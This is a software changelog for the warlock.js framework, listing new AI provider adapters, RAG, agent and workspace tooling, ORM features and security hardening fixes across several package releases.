                                    • Addedai.audioFromFile(path) / ai.audioFromBuffer(bytes, mediaType) / ai.audioMediaTypeForFilename(name) — non-AI utilities that package audio (WhatsApp .ogg/.opus, iOS .m4a, …) into the AudioInput shape ai.transcribe consumes.
                                    • Addedai.rag.pgVectorStore({ client }) — a Postgres + pgvector vector store satisfying VectorStoreContract (upsert / query / removeNamespace), with an ensureSchema() DDL helper and a lazy pg optional peer.
                                    • Addedai.rag.loadText / loadHtml / loadWeb / loadPdf — document loaders producing RagDocuments for .index(). loadWeb is SSRF-safe (routes through guardedFetch / OutboundPolicy); loadPdf uses a lazy pdf-parse optional peer.
                                    • AddedDurable mid-run crash-resume — opt-in durable: { store, deleteOnComplete? } on ai.agent / ai.planner with a stable runId + agent.resume(runId) / planner.resume(runId). Per-trip (agent) / per-node (planner) checkpoints reuse ai.snapshot.{memory,pg,redis}; drift detection via AgentDriftError / PlannerDriftError (bypass with { force: true }); completed work never re-runs its tools and usage is never double-counted.
                                    • Added**ai.rag.* namespace** now also carries chunk, cacheVectorStore, pgVectorStore, loadText/loadHtml/loadWeb/loadPdf, bm25Rank, reciprocalRankFusion, hybridRank, multiQuery (previously standalone-only exports), for ai.*-namespace consistency.
                                    @warlock.js/ai-liveAdded 5
                                    • AddedFirst release — the live & generative rich-media add-on for @warlock.js/ai, kept in its own package so core text/image/speech stay dependency-light. A side-effect import (import "@warlock.js/ai-live") mounts ai.video + ai.realtime onto the shared Ai facade.
                                    • Addedai.video(params) — text-to-video (Sora / Veo / Kling-class); the provider's async submit→poll job hidden behind the uniform never-throws { data, error, usage, report } envelope, with per-second cost-truth folded into Usage.cost and a type: "video" report routed to observers.
                                    • Addedai.realtime(options) — a stateful duplex voice session over a pluggable RealtimeTransport: sendAudio / sendText / events() out, close() → RealtimeReport for the cost/observability surfaces.
                                    • AddedContracts — VideoModelContract, GeneratedVideo, VideoModelPricing, VideoOptions; RealtimeSession, RealtimeTransport, RealtimeConnection, RealtimeEvent, RealtimeReport, RealtimeOptions.
                                    • AddedMocks — MockVideoModel + MockRealtimeTransport for deterministic, HTTP- and socket-free tests (scripted responses / event streams, recorded calls).
                                    @warlock.js/ai-openaiAdded 4Fixed 1
                                    • Addedopenai.image({ name }) — image generation for the gpt-image-* (token-metered) and dall-e-* (per-image) families, for use with ai.image(). A non-image model id is rejected at construction.
                                    • AddedPDF + audio input. pdf and audio content parts now map to OpenAI file (base64 file_data) and input_audio (wav / mp3) parts — opt in with model({ pdf: true }) / { audio: true }. A remote-URL pdf/audio source raises a typed InvalidRequestError up front.
                                    • Addedopenai.speech({ name }) — text-to-speech for the tts-1 / tts-1-hd / gpt-4o-mini-tts families (audio.speech.create), for use with ai.speech().
                                    • Addedopenai.transcribe({ name }) — speech-to-text for the whisper-1 / gpt-4o-transcribe families (audio.transcriptions.create), for use with ai.transcribe(). whisper-1 defaults to verbose_json (duration + segments); a non-TTS/STT model id is rejected at construction.
                                    • FixedNon-text content parts are no longer coerced to image_url. The message mapper now branches per modality (image → image_url, pdf → file, audio → input_audio) instead of forcing every attachment through the image path.
                                    @warlock.js/ai-mistralAdded 3
                                    • AddedFirst release. MistralSDK — a thin wrapper over @warlock.js/ai-openai that points one internal OpenAISDK at Mistral's OpenAI-compatible endpoint (https://api.mistral.ai/v1) with provider: "mistral", delegating transport, streaming, tool calls, structured output, error wrapping, and token accounting to the battle-tested adapter. Exposes .model(), .embedder() (mistral-embed), and .count().
                                    • AddedMistral-aware capability inference — vision is auto-set for the pixtral family and recent multimodal generations (mistral-large, mistral-medium, ministral-3); reasoning for the magistral family and the hybrid mistral-small generation. An explicit vision / reasoning on .model() always wins. Exported as inferVisionCapability / inferReasoningCapability, with the -latest aliases grouped under MISTRAL_MODELS.
                                    • AddedDefault pricing registry (MISTRAL_DEFAULT_PRICING, USD per 1,000,000 tokens) merged under any caller-supplied pricing so cost truth works out of the box; per-model > SDK-level > default > undefined. No image() — Mistral has no OpenAI-compatible image endpoint.
                                    @warlock.js/ai-googleAdded 1Fixed 1
                                    • Addedgoogle.image({ name }) — Imagen (imagen-*) image generation for use with ai.image(). Per-image-metered; when every candidate is safety-filtered the run surfaces a typed ContentFilterError. A non-Imagen model id is rejected at construction.
                                    • FixedPDF + audio input are now explicitly mapped and tested. The content-part mapper documents and proves that pdf / audio parts route to Gemini inlineData (the pdf / audio capabilities the adapter advertises are backed by a real mapper, not an accident of the image path), and the remote-URL rejection now names the actual modality instead of always saying "images".
                                    @warlock.js/coreAdded 11Changed 1Fixed 4
                                    • Addedrelease-hygiene tests: version↔changelog invariant + generator-stub import check
                                    • Addedrouter.routeCount() exposes the number of registered routes as a boot/readiness signal
                                    • Addedhealth.addRoutesRegisteredCheck(getRouteCount) registers a readiness check that reports not-ready when a booted HTTP app has zero routes
                                    • Addedseeders now receive a { track } context — track(model), track(models[]), and track(table, id) register created records (each call returns its argument so it can be chained inline); recordsCreated is auto-derived from the track count
                                    • Addedseed_records table (created via the new SeedRecordsTableMigration) records every tracked seed reference within the same transaction the seed runs in; only the last run's refs are kept per seeder
                                    • Addedwarlock seed --drop [name] undoes a seed: deletes its tracked records in reverse run/insertion order inside a transaction, then resets the matching seeds-log rows so once: true seeds re-run; scope to one seeder with --drop=<name>
                                    • AddedSeeder.dependsOn is now resolved — seeders are topologically sorted so dependencies run before dependents, layered over the numeric order tie-break; throws UnknownSeederDependencyError for a missing dependency and SeederDependencyCycleError for a cycle
                                    • Addedseeders receive an injectable clock and a meaningful batch size — run({ track, now, batchSize }); now() (default () => new Date()) drives both seed data and the seeds-log timestamps so historical/back-fill runs are deterministic, and batchSize surfaces the seeder's own batchSize for Model.createMany(rows, { batchSize })
                                    • Addedrepository-level aggregation — aggregate(), sum(), avg(), min(), max(), and groupBy() on RepositoryManager, each reusing filterBy (and its operator-injection guard), where, and scopes before the aggregate, exactly like count()
                                    • Addedwarlock doctor — a read-only diagnostics command that runs routes / config / connectors / optional-peers / health / release-hygiene checks and prints a pass/warn/fail report (exits non-zero on any failure, never opens a DB/cache/socket connection)
                                    • Addedwarlock routes — a read-only command that lists the registered HTTP routes as a verb-colored table (method / path / name / action / middleware-count / source); filter with --method / --path / --name, or emit the normalized rows as JSON with --json. Boots app code to register routes but starts no connectors
                                    • ChangedSeeder.run now receives a SeedContext (run(ctx)) — backward compatible, an existing zero-arg run() keeps working unchanged
                                    • Fixedroute-module load/registration failures are no longer swallowed: a route file that throws on import or registration now surfaces loudly instead of silently 404'ing the whole surface
                                    • FixedModuleLoader.loadModule rethrows after logging (wrapped in a new ModuleLoadError carrying the failing file + cause), so a broken module aborts boot and is caught loudly by the HMR batch-reload handler in dev
                                    • FixedModuleLoader.loadAll aggregates per-file failures and throws an AggregateError at the end, so one broken module no longer hides the others
                                    • Fixedrouter.withSourceFile rethrows the callback error after logging instead of consuming it with a bare console.log (the try/finally source-file stack cleanup is preserved)
                                    @warlock.js/cascadeAdded 10Changed 1Fixed 4
                                    • AddedFast bulk Model.createMany(data, options?: { batchSize?; bulk? }) — both paths chunk by batchSize (default 500); bulk: true routes each chunk to the driver's native multi-row insertMany for 10–100× throughput (skips per-row hooks/events; default path preserves them)
                                    • AddedIdGeneratorContract.generateNextIds({ table, count }) — reserve a contiguous block of auto-increment ids in a SINGLE atomic op (MongoDB). Model.createMany (default + bulk) now reserves one id block per chunk instead of one counter round-trip per row; engages only for fixed-increment, auto-generated, id-less rows (random-increment or caller-supplied-id rows fall back to per-row generation)
                                    • AddedQueryBuilder.groupByDate(column, unit, aggregates?) — portable date-bucketed GROUP BY (day/week/month/year) across Postgres date_trunc and MongoDB $dateTrunc
                                    • Added$agg.sum(expr) now also accepts a typed column expression ($expr.mul/$expr.add/$expr.sub/$expr.div/$expr.col/$expr.lit) so you can sum price * quantity; bare-string payload is unchanged. Added $agg.sumRaw(expression) raw escape hatch (Postgres SUM(<raw>); throws on MongoDB)
                                    • AddedColumn-expression DSL grouped under a single $expr object (mirroring $agg) — $expr.col / $expr.lit / $expr.mul / $expr.add / $expr.sub / $expr.div / $expr.raw — plus isColumnExpression / toColumnExpression and the ColumnExpression / ColumnExpressionInput types
                                    • AddedMongoDB id counter (MasterMind) now has a lazily-ensured unique index on { collection: 1 } plus a bounded retry on duplicate-key (E11000), closing the cold-start race where two concurrent first inserts into a new collection could reserve overlapping ids/blocks
                                    • Added$agg.countDistinct(field) — a cross-driver grouped distinct-count aggregate (Postgres COUNT(DISTINCT col); MongoDB $addToSet in $group finalized with $size in the renaming $project)
                                    • AddedModel.raw<T>(sql, params) — typed, transaction-aware raw query that auto-joins the active transaction() scope and returns RawQueryResult<T>
                                    • AddedDataSource.raw<T>(sql, params) — thin transaction-aware passthrough to driver.query
                                    • AddedPostgres connection option nativeArrayColumns — opt out listed columns (JSONB[]/TEXT[]/…) from JSON-text encoding so genuine native-array columns keep their {...} literal form
                                    • ChangedDriverContract.query<T>() is now typed Promise<RawQueryResult<T>> (new rows + rowCount result type) instead of Promise<any>
                                    • FixedPostgres json/jsonb columns no longer corrupt: object-arrays, string-arrays, mixed arrays, empty [] (previously stored as {}), and plain objects are now JSON-encoded before binding instead of falling through to a Postgres array literal; the same encoding is applied on the UPDATE $set path. The pgvector all-number array form is preserved.
                                    • FixedInsert no longer overwrites a caller-supplied createdAt — a backdated value (imports/migrations) is now honored, mirroring the upsert guard, while updatedAt is always stamped at persist time
                                    • FixedInsert validation now whitelists the system columns (id/_id/timestamps/deletedAt) like the update path, so a backdated createdAt survives strict strip/fail mode instead of being dropped before reaching the writer
                                    • FixedCorrected the MongoDB id-generator docs that falsely claimed the counter write "participates in active transactions" — it is a standalone, immediately-durable write (no transaction session is attached), so a rolled-back insert leaves the consumed id as a gap, exactly like SQL SERIAL
                                    @warlock.js/ai-deepseekAdded 5
                                    • AddedFirst release. DeepSeek adapter for @warlock.js/ai — a thin wrapper over @warlock.js/ai-openai's OpenAISDK pinned to https://api.deepseek.com (provider: "deepseek"), so all wire behavior (streaming, tool calls, structured output, error wrapping) is inherited unchanged.
                                    • AddedDeepSeekSDK — .model() / .embedder() / .image() / .count() delegated to the wrapped client. baseURL and provider are optional (default to DeepSeek's endpoint / label); every other openai ClientOptions value is forwarded verbatim.
                                    • AddedDeepSeek-specific capability inference (inferReasoningCapability / inferVisionCapability) — reasoning is auto-true for deepseek-reasoner and the *-pro tier, auto-false for deepseek-chat / *-flash; vision is false for every id (no documented vision surface). An explicit reasoning / vision per model always wins.
                                    • AddedBuilt-in DeepSeek pricing defaults (USD per 1M tokens) for deepseek-chat, deepseek-reasoner, deepseek-v4-flash, deepseek-v4-pro, so usage.cost is computed out of the box; overridable per model or per SDK.
                                    • AddedDEEPSEEK_CHAT_MODELS — informational list of the documented chat model ids.
                                    @warlock.js/ai-xaiAdded 5
                                    • AddedFirst release. xAI Grok adapter for @warlock.js/ai — a thin wrapper over @warlock.js/ai-openai's OpenAISDK pinned to https://api.x.ai/v1 (provider: "xai"), so all wire behavior (streaming, tool calls, structured output, error wrapping) is inherited unchanged.
                                    • AddedXaiSDK — .model() / .embedder() / .image() / .count() delegated to the wrapped client. baseURL and provider are optional (default to xAI's endpoint / label); every other openai ClientOptions value is forwarded verbatim.
                                    • AddedxAI-specific capability inference (inferVisionCapability / inferReasoningCapability, exported alongside XAI_VISION_MODEL_PREFIXES / XAI_REASONING_MODEL_PREFIXES) — Grok ids don't match OpenAI's gpt-* / o* prefixes, so vision is auto-true for grok-4 / grok-2-vision and reasoning for grok-4 / grok-3-mini. An explicit vision / reasoning per model always wins.
                                    • AddedXAI_CHAT_MODELS — convenience list of current public Grok chat ids (grok-4, grok-3, grok-3-mini, grok-2-vision, grok-2).
                                    • AddedOptional per-model pricing registry — resolution at model() time is per-model pricing > SDK registry > undefined.
                                    @warlock.js/ai-groqAdded 3
                                    • AddedFirst release. GroqSDK — a thin wrapper over @warlock.js/ai-openai that points one internal OpenAISDK at Groq's OpenAI-compatible endpoint (https://api.groq.com/openai/v1) with provider: "groq", delegating transport, streaming, structured output, error wrapping, and token accounting to the battle-tested adapter. Serves Groq-hosted open models (llama-3.3-70b-versatile, llama-3.1-8b-instant, openai/gpt-oss-*, deepseek-r1-distill-llama-70b) on LPU hardware via .model() and .count(). GROQ_BASE_URL / GROQ_PROVIDER / GROQ_KNOWN_MODELS exported.
                                    • AddedGroq-aware capability inference — because Groq ids are upstream open-weight names, not OpenAI's, the wrapper carries its own lists: vision is auto-set for gpt-oss / llama-4 / llama-3.2-*-vision; reasoning for gpt-oss / deepseek-r1 / qwq / qwen3. An explicit vision / reasoning / structuredOutput always wins. Exported as inferVisionCapability / inferReasoningCapability.
                                    • AddedDefault pricing registry (USD per 1,000,000 tokens) for the known Groq models as the final fallback; resolution per-model > SDK-level pricing[name] > built-in default > undefined. No embeddings endpoint on Groq (.embedder() is delegated for symmetry but calls fail upstream) and no image().
                                    @warlock.js/schedulerFixed 1
                                    • FixedWarn in development when jobs are registered but start() is never called — a one-shot deferred check logs N job(s) registered but scheduler.start() was never called, is suppressed once start() runs or in production (NODE_ENV=production), and is unref'd so it never holds the process open.
                                    4.5.0
                                    July 1, 2026

                                    The biggest AI release yet — the agent-platform, prompt-unification, and team-identity milestones plus a security-hardening pass, consolidated into one release. @warlock.js/ai grows from a primitive ladder into a full agent platform: ai.rag(), ai.team(), ai.skills(), a unified ai.prompts registry (ai.prompt is now a facade over it), ai.dataset() / ai.vcr(), a planner that runs DAGs and can pause for approval, a generic observe seam, the former ai-human + ai-guard satellites folded into core, and a security pass (SSRF-safe outbound I/O, redaction, attachment policy, SSE serving, streaming structured output). @warlock.js/ai-panoptic becomes batteries-included with a redesigned, auth-gated local dashboard (group-by-type, cost heatmap, timeline, search / filter, restart-persistent store) and first-class team-type traces. The first releases of @warlock.js/ai-tools (ready-made tools + MCP) and @warlock.js/ai-workspace (a policy-jailed coding workspace), plus a broad @warlock.js/core hardening pass.

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/aiAdded 18Changed 3Fixed 3Security 4
                                    • Addedai.rag(config) — retrieval-augmented generation in core: a chunk → embed → retrieve → cite pipeline that reuses your existing embedder and cache, with zero new dependencies. Includes hybrid retrieval (dense + BM25 reciprocal-rank fusion), keyword / LLM rerankers, and multi-query expansion.
                                    • Addedai.team(config) — manager-led multi-agent teams: thin sugar over ai.supervisor for the review-then-fix and test-then-fix shapes.
                                    • Addedai.skills(config) — runtime agent skills with progressive disclosure: a cheap always-injected catalog plus an on-demand loadSkill tool. Adds a skills option on ai.agent.
                                    • Addedai.streamObject(...) — structured-output streaming: partial-object snapshots as tokens arrive, with a strict final parse against the response schema.
                                    • Addedai.serve(executable, options) — serve any agent / workflow / supervisor as an SSE HTTP endpoint.
                                    • AddedMultimodal attachments — ContentPart gains pdf and audio variants alongside text / image, resolved to provider-ready parts (PDF wired on the Anthropic and Bedrock adapters).
                                    • AddedPlanner DAG execution, re-planning, and plan-only approval — run independent steps concurrently, revise the plan when a step fails, or return a plan for approval before it executes.
                                    • AddedGeneric Observer seam — route any flow's run report to pluggable observers (e.g. @warlock.js/ai-panoptic) without coupling core to a backend.
                                    • Addedai.prompts + ai.prompt — a process-wide registry of named, versioned systemPrompt(...) builders (resolved by name@version / name@tag) with define / tag / diff / export / import and a unified validate (deterministic missing-placeholder check plus an optional Nova-safe LLM-judge); ai.prompt is a thin facade over it.
                                    • AddedSystemPromptContract identity + provenance — .meta({ name, version, description, required }) (a name auto-registers in ai.prompts), .merge(...blocks) / .merge(contract) / .merge(name, { fromVersion }), and deterministic meta.composedFrom labels.
                                    • Addedai.dataset(options) — filterable, shardable evaluation case sets that feed agent.eval, with baseline / regression detection and CI reporters.
                                    • Addedai.vcr(model, options) — record / replay any model against an on-disk cassette for deterministic, offline tests, with recordRequest modes and redactRequest / redactResponse / redactError hooks.
                                    • Addedai.agent.judge(config) — judge-safe agent preset (also ai.agent({ judge: true })): lenient JSON parsing, bounded repair re-asks, and never-throw verdicts on Nova-class models.
                                    • AddedHuman-in-the-loop approval now ships in core (ai.human.*, formerly @warlock.js/ai-human) — a tool-approval gate plus durable interrupt / resume.
                                    • AddedContent guardrails now ship in core (ai.guardrail.*, formerly @warlock.js/ai-guard) — PII / topic / injection / moderation detectors.
                                    • AddedOrchestrator sessionLock — per-session turn serialization (default in-process mutex keyed by sessionId, pluggable distributed lock) so concurrent same-session turns can't lose a checkpoint update.
                                    • AddedSub-agent trace nesting — a supervisor / team / orchestrator callback that calls agent.execute() directly now nests callback → agent → tool with rolled-up usage / cost.
                                    • AddedAgentReport.systemPrompt — the resolved system prompt sent to the model is now recorded on the agent report.
                                    • Changedai.team runs report type: "team" — a first-class ReportType (was "supervisor") so observers distinguish team runs on the wire.
                                    • ChangedDeterministic parallel workflow state merge — parallel children merge into the parent in declaration order (last-declared wins on a conflicting key) instead of completion order; an optional per-step mergeState reducer overrides it.
                                    • ChangedSafer batch / RAG defaults — ai.batch warns once on a large unbounded run (pass an explicit concurrency or "unbounded"); ai.rag accepts limits (maxDocuments / maxChunks / maxBytes) that fail before any embedding spend.
                                    • FixedCancellation propagates through composite tools — a cancelled outer agent now aborts a nested agent / workflow / supervisor invoked via .asTool() (the run signal threads into the nested execute).
                                    • FixedObserver / event-handler errors are surfaced, not swallowed — a throwing observer or on handler stays isolated (never crashes the run) but is now warned once / routed to a hook instead of disappearing silently.
                                    • Fixedbudget({ maxCostUSD }) fail-open closed — a cost cap with no matching model pricing now warns once (naming the model) instead of silently never tripping.
                                    • SecurityShared OutboundPolicy + redact() — one SSRF-safe outbound-fetch guard (scheme + host allowlist, post-DNS private-IP deny, max-bytes, timeout, injectable fetch) and one redaction utility, consumed across attachments, URL skills, VCR, and the error path.
                                    • SecurityAttachment trust boundary (AttachmentPolicy) — remote-text attachment fetch is default-deny (opt in with a policy), local reads honor an allowedRoots sandbox, and bare-string local paths warn (staged deprecation).
                                    • SecurityURL skill sources hardened — the manifest fetch runs through OutboundPolicy and every record is runtime-validated before it enters model context; adds cache-TTL controls.
                                    • SecurityGuardrail coverage documented — input detectors inspect text only; non-text attachment content needs an attachment-level policy.
                                    @warlock.js/ai-panopticAdded 9Changed 1Fixed 1Security 2
                                    • AddedZero-setup local dashboard — dashboard(store, options) serves a loopback-only mini-Langfuse (default 127.0.0.1:4319) with no Docker and no account: light / dark / system theme, a two-pane drawer (nested call tree / detail), a metadata panel, colour-coded Title-case type labels, arrow-coded token rollups (↓input · ↑output · total), per-node rollup cost, and the Warlock logo.
                                    • AddedDashboard search / filter / grouping — client-side free-text search, status / type / session / prompt filter chips, an errors-only toggle, and group-by Session / Prompt / Type with a per-type aggregate-stats panel (count, failure rate, p50 / p95 latency, tokens, cost).
                                    • AddedCost heatmap, timeline view, and deep-links — each node carries a cost-tinted accent; the drawer toggles between the call tree and a Gantt timeline (critical path highlighted); the open trace + span are reflected in the URL hash for shareable views.
                                    • AddedPrompt-version linkage — agent spans stamp agent.promptName / agent.promptVersion; the dashboard filters and groups by the resolved name@version key.
                                    • AddedCache-backed persistent trace store — createCacheTraceStore(cache, options) persists traces through any @warlock.js/cache driver, serves reads from an in-memory mirror, and re-hydrates on ready() so traces survive a restart; ai.config({ panoptic: { cache } }) wires it.
                                    • AddedDeclarative ai.config({ panoptic }) — configure panoptic once; it registers on core's observer registry and starts the dashboard. Per-flow observe + observeAll opt flows into observation.
                                    • AddedContentCaptureOptions.fullHistory — capture the agent's complete message history on the span; agent content is emitted as a [system, user] chat array; Langfuse gets trace-level input / output.
                                    • AddedonError hook — handle isolated exporter failures on panoptic() / createCollector().
                                    • AddedPure trace-list helpers exported from the package root (filterTraces / groupBySession / groupByPrompt / groupByType / aggregateByType / rollupCost / …) so your own views mirror the dashboard's rules.
                                    • ChangedTitle-case status & type labels across rows, drawer, chips, and group headers (underlying filter keys stay lowercase); team is a first-class dashboard type; type chips show only present types; drawer metadata keys are humanized; the group-by toggles became a single Group dropdown.
                                    • FixedIsolated exporter failures no longer fail silently — a failing exporter still never crashes the run, but now warns once (or calls onError).
                                    • SecurityDashboard hardening — bearer-token auth (authToken, required when binding off-loopback), a Host-header allowlist (DNS-rebinding guard), and security response headers (nosniff / X-Frame-Options: DENY / locked-down CSP) on every response.
                                    • SecurityError redaction — captured error message / stack are scrubbed of secrets (Bearer tokens, API keys) and a retained cause is deep-redacted (auth / cookie headers stripped) before a trace is stored or exported.
                                    @warlock.js/ai-toolsAdded 5
                                    • Added**Five ready-made agent tools, attached to the shared ai object under ai.tools.* via a declare module "@warlock.js/ai" augmentation, so a bare import "@warlock.js/ai-tools" makes them available and statically typed. Each returns a ToolContract that drops straight into ai.agent({ tools: [...] }): - ai.tools.webSearch(options) (web_search) — web search via a chosen provider (tavily / brave / serpapi) over the global fetch; the API key falls back to TAVILY_API_KEY / BRAVE_API_KEY / SERPAPI_API_KEY; maxResults is clamped per call. - ai.tools.fetchUrl(options?) (fetch_url) — fetch a URL and return its content as readability-extracted text (default), raw html, or markdown, with a host allowlist (SSRF guardrail), a byte cap (truncated flag), and a request timeout. - ai.tools.http(options?) (http_request) — a guarded HTTP/REST client: method + host allowlists enforced before the network call, optional baseUrl join, static-header merge, byte cap, and timeout; JSON-parses a JSON response body. - ai.tools.calculator(options?)** (calculator) — a SAFE arithmetic evaluator (+ - * / % ^, unary signs, parentheses, decimal/scientific literals) implemented with a shunting-yard pass — it never calls eval/Function. - ai.tools.dateTime(options?) (date_time) — clock/calendar operations: now / add / diff / format over ISO-8601 instants, with millisecond-based units and IANA time-zone rendering. diff accepts from as an alias for the start instant (iso wins when both are set).
                                    • AddedMCP client — ai.mcp(server, options?) (Direction A). Connects to an external MCP server over a stdio (node:child_process + node:readline, no dependency) or Streamable HTTP transport, runs the initialize handshake + tools/list, and adapts each remote tool into a native ToolContract (its JSON Schema wrapped as a Standard Schema, tools/call as execute). Supports namePrefix, filter, and a per-call timeoutMs; an isError result surfaces as { error } data.
                                    • AddedMCP server — ai.mcp.serve(source, options) (Direction B). Exposes a built agent / supervisor / orchestrator (or a raw ToolContract[]) AS an MCP server: tools/list emits each tool's inputSchema via extractJsonSchema at the configured schemaTarget (default draft-2020-12), and tools/call routes to contract.invoke(), mapping data to a text content block and error to an isError: true result. The stdio transport is auto-pumped over process.stdin / process.stdout; the pure protocol core is also exported as createServeHandler for a host's own HTTP wiring.
                                    • AddedTyped error classes — WebToolError, HttpPolicyError, CalculatorError, DateTimeError, and McpTransportError, each extending the @warlock.js/ai AIError base with a type discriminator. Every tool follows the errors-as-data contract: failures are thrown inside execute, wrapped by tool(), and reach the model as { error } so the agent self-corrects instead of crashing the run.
                                    • AddedOptional peers, lazily imported. Heavy dependencies — a search provider (@tavily/core), the readability scraper (@mozilla/readability + jsdom), the MCP SDK (@modelcontextprotocol/sdk), and the JSON-Schema validator (ajv) — are optional peers, import()ed only when the relevant path runs, surfacing a curated npm install string when absent rather than crashing at import time. The only required runtime peer is @warlock.js/ai; everything else is Node built-ins + the global fetch (Node 18+).
                                    @warlock.js/ai-workspaceAdded 16
                                    • Addedai.workspace(policy) — the workspace verb, registered on the shared ai object via a declare module "@warlock.js/ai" augmentation + a runtime side-effect on import (no edit to @warlock.js/ai's own source). Exported as the workspace factory; WorkspaceCapableAi is the typed view consumers cast ai through.
                                    • AddedPolicy jail — every path is realpath-resolved and must sit under cwd (or an allowPaths root); denyPaths globs are blocked even inside cwd; the shell allow/deny list gates each command's leading executable basename (deny wins, fail-closed); per-command timeout + output byte cap; and process.env is never inherited wholesale (opt-in shell.inheritEnv, plus explicit shell.env).
                                    • AddedSeven agent-facing tools under ws.tools.*, each a ToolContract built on the core tool() factory: read_file, edit_file, write_file, run_shell, run_tests, grep, glob. Each factory takes an optional { name } (and run_tests a { command }) override.
                                    • Addedtools.all() — every tool in canonical order — and tools.pick(...names) — a least-privilege subset (e.g. pick("readFile", "grep", "glob") for a reviewer).
                                    • AddedDirect programmatic methods sharing the same policy seam: readFile / writeFile / editFile / exec / grep / glob / exists / mkdir / remove.
                                    • Addedreadonly() — a projection that vends only the read/grep/glob tools and rejects every mutating direct method with a WorkspacePolicyError.
                                    • Addedscope(subdir) — a sub-jailed workspace rooted at subdir (narrowed cwd, same sub-policies and backend selection).
                                    • AddedRead-before-edit guard — read_file / readFile return a SHA-256 content hash (via @warlock.js/fs hashString); edit_file requires an exact, unique oldString (or replaceAll) and rejects a mismatched expectHash as stale.
                                    • AddedBackends — createLocalBackend (default "local"; @warlock.js/fs for IO + node:child_process for the shell) and createMockBackend (in-memory Map + scripted exec, for hermetic disk-free tests), behind the WorkspaceBackend contract.
                                    • AddedPolicy engine seam exports: resolveInJail, isCommandAllowed, buildEnv, and the ResolvedPath type.
                                    • AddedOps layer export createOps — the single policy-enforced operation layer both the tools and the direct methods funnel through.
                                    • AddedTyped errors WorkspacePolicyError (type: "path-escape" | "denied-command") and WorkspaceEditError (type: "not-found" | "not-unique" | "stale-hash"), both extending the @warlock.js/ai AIError base (code TOOL_EXEC_FAILED) so failures surface to the agent as tool-error data, never thrown run-killers.
                                    • AddedPublic type surface re-exported from the barrel: Workspace, WorkspaceTools, WorkspacePolicy, WorkspaceShellPolicy, WorkspaceReadPolicy, WorkspaceBackendType, WorkspaceToolName, WorkspaceOps, WorkspaceBackend (+ WorkspaceBackendExecOptions / WorkspaceBackendExecResult), and the per-tool IO shapes (ReadFileInput/Result, EditFileInput/Result, WriteFileInput/Result, RunShellInput/Result, RunTestsInput, GrepInput/Match/Result, GlobInput/Result).
                                    • Addedscripts/generate-llms.mjs and the generated llms.txt / llms-full.txt projections of skills/.
                                    • Addedskills/use-a-workspace/SKILL.md — building a jailed workspace and operating it (policy, the seven tools, the direct methods, readonly / scope).
                                    • Addedskills/build-loop-agent/SKILL.md — wiring ws.tools.all() into a coding agent that reads → edits → runs tests until green.
                                    @warlock.js/coreChanged 4Fixed 24Removed 1
                                    • Changeddev-server update notice now fires immediately on warlock dev — the check is spawned in parallel with server startup instead of awaiting it, so the notice surfaces as soon as npm responds
                                    • Changedraised the update check's npm registry timeout from 2.5s to 30s, so a slow connection no longer drops the notice
                                    • Changedrepository lifecycle hooks (onCreating / onCreate / onUpdating / onSaving / onDeleting / …) now run on create / update / delete — they were defined but never invoked
                                    • Changedrepository.list() / all() now honor the sortBy, sortDirection, and purgeCache options — previously accepted but silently ignored
                                    • Fixedresponse.sendFile({ filename }) and response.download() no longer 500 on non-ASCII file names — the Content-Disposition header is now RFC 6266-encoded (a sanitized ASCII filename fallback plus an RFC 5987 filename*=UTF-8''…), so an Arabic / emoji / UTF-8 download name streams correctly instead of throwing Node's ERR_INVALID_CHAR
                                    • Fixedlocal storage paths are contained to their disk root — ../ traversal segments and absolute paths can no longer escape the configured directory
                                    • Fixedstorage.putFromUrl adds SSRF guards — private / loopback / link-local hosts are rejected and the fetched body is size-capped
                                    • FixedS3 / R2 / DigitalOcean Spaces url() no longer produces a malformed double-host URL when urlPrefix is set
                                    • Fixedcloud deleteDirectory paginates via the list continuation cursor instead of re-listing the first page
                                    • Fixedlocal-storage metadata cache is invalidated on write / delete — it was serving a stale size / modified-time
                                    • Fixedthe cloud driver no longer reports a misleading "SDK not installed" error when the AWS SDK is in fact present (driver load race)
                                    • Fixedrepository countCached / countActiveCached now cache and return correctly — a null cache miss was being returned as the count
                                    • Fixedrepository firstCached / lastCached no longer fetch and cache the entire table to return a single row
                                    • Fixedrepository boolean filters no longer coerce false / 0 to true
                                    • Fixedrepository cache keys are now order-independent (stable key serialization)
                                    • Fixedrouter groups restore prefix / name / middleware state via try/finally even when the group callback throws
                                    • Fixedrouter.any() / all routes now match every HTTP verb under the dev server — they previously matched only GET and POST, diverging from production
                                    • Fixedthe HTTP concurrency limiter releases its slot on every response path (noContent, redirect, file, buffer) — a throwing or non-send handler no longer leaks a permit and permanently 429s the route
                                    • Fixedthe cached-response middleware replays a hit through response.replay() instead of re-sending an already-sent reply, preserving status and content-type
                                    • FixedonSent cache writes in the idempotency and cache middleware are error-handled — a cache-backend failure no longer surfaces as an unhandled rejection
                                    • FixedX-Forwarded-For is parsed to its first hop, so IP-filter / rate-limit / idempotency scoping cannot be spoofed with extra header hops
                                    • Fixedthe maintenance middleware allowlist matches request paths that carry a query string
                                    • Fixeduse-cases run their after middleware and broadcast for a void handler, and a failed history write no longer fails an otherwise-successful call
                                    • Fixedthe use-case retry counter reports the correct count on total failure
                                    • Fixedthe socket connector no longer double-closes the shared HTTP server during graceful shutdown
                                    • Fixedthe cache connector disconnects its drivers on shutdown — an open Redis connection was left dangling
                                    • Fixedgenerator stubs import v / Infer from @warlock.js/seal (core never re-exported them), so generated models compile and run
                                    • Fixedwarlock dev hot-reloads when a file is emptied or saved with no trailing newline — a stale no-op-change check was silently dropping those saves before they reached HMR
                                    • Removedpresigned-upload maxSize option — a presigned PUT URL cannot enforce a size cap, so the option was a false guarantee
                                    @warlock.js/ai-anthropicFixed 1
                                    • FixedAll upstream ClientOptions now reach the Anthropic client. The SDK constructor peels off the framework-only provider / pricing keys and forwards the rest (timeout, maxRetries, defaultHeaders, custom fetch, baseURL, …) verbatim, instead of dropping everything but apiKey / baseURL.
                                    @warlock.js/ai-openaiFixed 1
                                    • FixedAll upstream ClientOptions now reach the OpenAI client. The SDK constructor peels off the framework-only provider / pricing keys and forwards the rest (timeout, maxRetries, defaultHeaders, custom fetch, organization, project, …) verbatim, instead of dropping everything but apiKey / baseURL.
                                    4.4.0
                                    June 21, 2026

                                    @warlock.js/core completes the production lifecycle — a booted hook, a shutdown hook, graceful HTTP draining, and built-in /health + /ready endpoints for zero-downtime deploys. Plus AI fixes across @warlock.js/ai, @warlock.js/ai-openai, and @warlock.js/ai-panoptic (opt-in content capture, corrected Langfuse token accounting).

                                    Full release notes or run npx warlock release-notes.

